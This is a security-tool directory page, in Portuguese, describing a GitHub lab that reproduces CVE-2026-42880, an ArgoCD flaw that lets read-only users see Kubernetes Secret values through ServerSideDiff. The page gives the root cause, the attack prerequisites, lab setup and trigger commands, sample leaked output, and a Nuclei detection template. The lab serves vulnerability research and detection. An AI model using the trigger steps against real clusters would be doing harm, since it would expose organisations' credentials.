Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC_CVE-2026-42880 — # Reproduz o CVE-2026-42880, uma vulnerabilidade crítica do ArgoCD que expõe Kubernetes Secrets via ServerSideDiff. Inclui configuração automatizada de laboratório, scripts de acionamento e um template de detecção Nuclei para testes de segurança. | Kitploit
Ferramentas/GitHubGitHub/haerin-l/poc_cve-2026-42880
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoSegurança na NuvemConfiguração IncorretaAprendizado e EducaçãoLabs e Prática
GitHubhaerin-l/poc_cve-2026-42880

POC_CVE-2026-42880

# Reproduz o CVE-2026-42880, uma vulnerabilidade crítica do ArgoCD que expõe Kubernetes Secrets via ServerSideDiff. Inclui configuração automatizada de laboratório, scripts de acionamento e um template de detecção Nuclei para testes de segurança.

Ver Repositório
2há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-42880 — Exposição de Secrets do ArgoCD via ServerSideDiff

Um ambiente de laboratório para reproduzir e detectar o CVE-2026-42880, uma vulnerabilidade crítica no Argo CD em que o handler gRPC ServerSideDiff expõe dados de Secrets do Kubernetes a usuários somente leitura.


Visão geral da vulnerabilidade

CampoDetalhes
ID do CVECVE-2026-42880
GHSAGHSA-3v3m-wc6v-x4x3
CVSS9.6 (Crítica) — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Versões afetadasArgoCD 3.2.0–3.2.10, 3.3.0–3.3.8
Versões corrigidas3.2.11, 3.3.9+
CWECWE-200, CWE-212

Causa raiz

serverSideDiff() no handler gRPC do ArgoCD executa o dry-run do SSA do Kubernetes e retorna predictedLive sem chamar hideSecretData(), expondo valores de Secrets codificados em base64 na resposta.

root@kitploit:~
Vulnerable path (v3.2.0):
argocd app diff --server-side-diff
  → gRPC ServerSideDiff handler
    → Kubernetes SSA dry-run (merges ALL field managers)
      ← predictedLive returned (includes external-controller's data)
        ❌ hideSecretData() NOT called → real Secret values exposed

Patched path (v3.2.11):
  ...same SSA dry-run...
    ✅ HideSecretData() called → values replaced with ++++

Pré-requisitos do ataque

Todas as três condições devem ser atendidas simultaneamente:

#CondiçãoDetalhes
1Versão vulnerável do ArgoCD3.2.0–3.2.10 ou 3.3.0–3.3.8
2Anotação da aplicaçãoargocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true
3Field manager externo nos dados do SecretCampos data do Secret de propriedade de um gerenciador que não seja o ArgoCD (ex.: External Secrets Operator, Helm, kubectl)

Somente role:readonly é necessário — nenhuma permissão de escrita é necessária.


Arquitetura do laboratório

root@kitploit:~
Host Machine
├── localhost:30080 ──→ Kind Cluster: cve-vuln   (ArgoCD v3.2.0  ⚠ VULNERABLE)
│                         └── ns: production
│                              ├── Secret: db-credentials
│                              │    metadata → argocd-controller (synced from Git)
│                              │    data.*  → external-controller ⚠ (injected separately)
│                              └── Secret: api-credentials (same setup)
│
├── localhost:30081 ──→ Kind Cluster: cve-patched (ArgoCD v3.2.11 ✓ PATCHED)
│                         └── (identical config — only ArgoCD version differs)
│
└── localhost:3010  ──→ Docker Container: cve-lab-gitea
                          └── repo: gitadmin/manifests.git
                               └── secret.yaml (no data field — CVE prerequisite)

Por que a divisão do field manager é importante

root@kitploit:~
db-credentials Secret (namespace: production)
┌──────────────────────────────────────────────────────────────┐
│  metadata.*  → argocd-controller   (ArgoCD syncs from Git)   │
│  data.*      → external-controller (injected by setup script)│
└──────────────────────────────────────────────────────────────┘

SSA dry-run: Kubernetes merges both managers' fields into predictedLive
  → ArgoCD does NOT own data → data is not masked by ArgoCD
  → v3.2.0 returns predictedLive without hideSecretData() → EXPOSED

Pré-requisitos

FerramentaInstalação
kindbrew install kind
kubectlbrew install kubectl
Docker Desktopdocker.com
argocd CLIbrew install argocd
nucleibrew install nuclei
curl, jq, gitpré-instalados no macOS ou brew install jq

Requisitos de recursos: 8 GB+ de RAM livre, 15 GB+ de disco livre, portas 30080 / 30081 / 3010 disponíveis.


Como executar

Etapa 1 — Configurar o ambiente vulnerável (ArgoCD v3.2.0)

root@kitploit:~
bash scripts/01-setup-vuln.sh
# or: make setup-vuln

Leva cerca de 10 minutos. Ao concluir:

root@kitploit:~
══════════════════════════════════════════════════════
 Vulnerable ArgoCD lab ready!
══════════════════════════════════════════════════════
 ArgoCD UI   : http://localhost:30080
 Admin pass  : <auto-generated>
 Viewer pass : viewerpass123
 Token file  : .vuln-viewer-token
══════════════════════════════════════════════════════

Etapa 2 — Configurar o ambiente corrigido para comparação (opcional)

root@kitploit:~
bash scripts/02-setup-patched.sh
# or: make setup-patched

Etapa 3 — Disparar o CVE

root@kitploit:~
bash scripts/03-trigger-cve.sh
# or: make trigger

Saída esperada — vulnerável (v3.2.0):

root@kitploit:~
===== /Secret production/db-credentials ======
<   db_password: ++++++++                          ← masked live state
---
>   db_password: U3VwM3JTM2NyM3REQiFQYXNzIzIwMjY=  ← EXPOSED predictedLive!

[EXPOSED] decoded: Sup3rS3cr3tDB!Pass#2026
⚠  RESULT: SECRET DATA EXPOSED — VULNERABLE

Saída esperada — corrigido (v3.2.11):

root@kitploit:~
>   db_password: ++++++++   ← masked
✓  RESULT: no unmasked data in predictedLive — PATCHED

Etapa 4 — Detecção com Nuclei

root@kitploit:~
# Vulnerable cluster → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30080 \
  -var username=viewer \
  -var password=viewerpass123

# Patched cluster → should produce no findings
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30081 \
  -var username=viewer \
  -var password=viewerpass123

Etapa 5 — Encerramento

root@kitploit:~
bash scripts/99-teardown.sh
# or: make teardown

Estrutura de diretórios

root@kitploit:~
argocd-cve-2026-42880-lab2/
├── README.md
├── LAB_SETUP_GUIDE.md              # Lab setup guide + troubleshooting (English)
├── VULNERABILITY_ANALYSIS.md       # Code-level vulnerability analysis (English)
├── Nuclei_Template_Report.md       # Nuclei template design and test results (English)
├── Makefile
│
├── REPORT/                         # Korean reports
│   ├── LAB_REPORT_KR.md
│   ├── Nuclei_Template_Report_KR.md
│   └── Vulnerability_Analysis_KR.md
│
├── kind/
│   ├── cluster-vuln.yaml           # Kind cluster: cve-vuln    (port 30080)
│   └── cluster-patched.yaml        # Kind cluster: cve-patched (port 30081)
│
├── git-manifests/
│   └── secret.yaml                 # Secret without data field (CVE prerequisite)
│
├── manifests/
│   ├── application.yaml            # ArgoCD Application with vulnerable annotation
│   ├── argocd-cm-patch.yaml        # ConfigMap: TLS off, viewer account, ServerSideDiff
│   ├── argocd-rbac-patch.yaml      # RBAC: viewer → role:readonly
│   ├── argocd-nodeport.yaml        # NodePort 30080 (vuln cluster)
│   └── argocd-nodeport-patched.yaml# NodePort 30081 (patched cluster)
│
├── nuclei/
│   └── CVE-2026-42880.yaml         # Nuclei detection template
│
└── scripts/
    ├── 01-setup-vuln.sh            # Full automated setup: vulnerable env
    ├── 02-setup-patched.sh         # Full automated setup: patched env
    ├── 03-trigger-cve.sh           # Trigger CVE + compare both clusters
    └── 99-teardown.sh              # Remove all lab resources

Lógica de detecção do template Nuclei

O template usa uma cadeia HTTP de 4 etapas para verificar todos os pré-requisitos do CVE sem acionar a extração real de Secrets:

root@kitploit:~
Step 1  GET /api/version
        → extract argocd_version (no auth required)

Step 2  POST /api/v1/session
        → authenticate as viewer (role:readonly), extract token

Step 3  GET /api/v1/applications
        → find app with ServerSideDiff=true,IncludeMutationWebhook=true

Step 4  GET /api/v1/applications/{app}/managed-resources
        → verify: version in range + Secret present + f:data owned by external manager
        → FINDING reported only if all 5 matchers pass (AND condition)

Referências

  • NVD — CVE-2026-42880
  • GHSA-3v3m-wc6v-x4x3
  • Patch PR #27598
  • ArgoCD Server-Side Diff docs
  • Kubernetes Server-Side Apply

Aviso: Todas as credenciais neste laboratório são dados de teste falsos, destinados exclusivamente a fins de pesquisa em segurança. Nunca use em produção.

Baixar ferramenta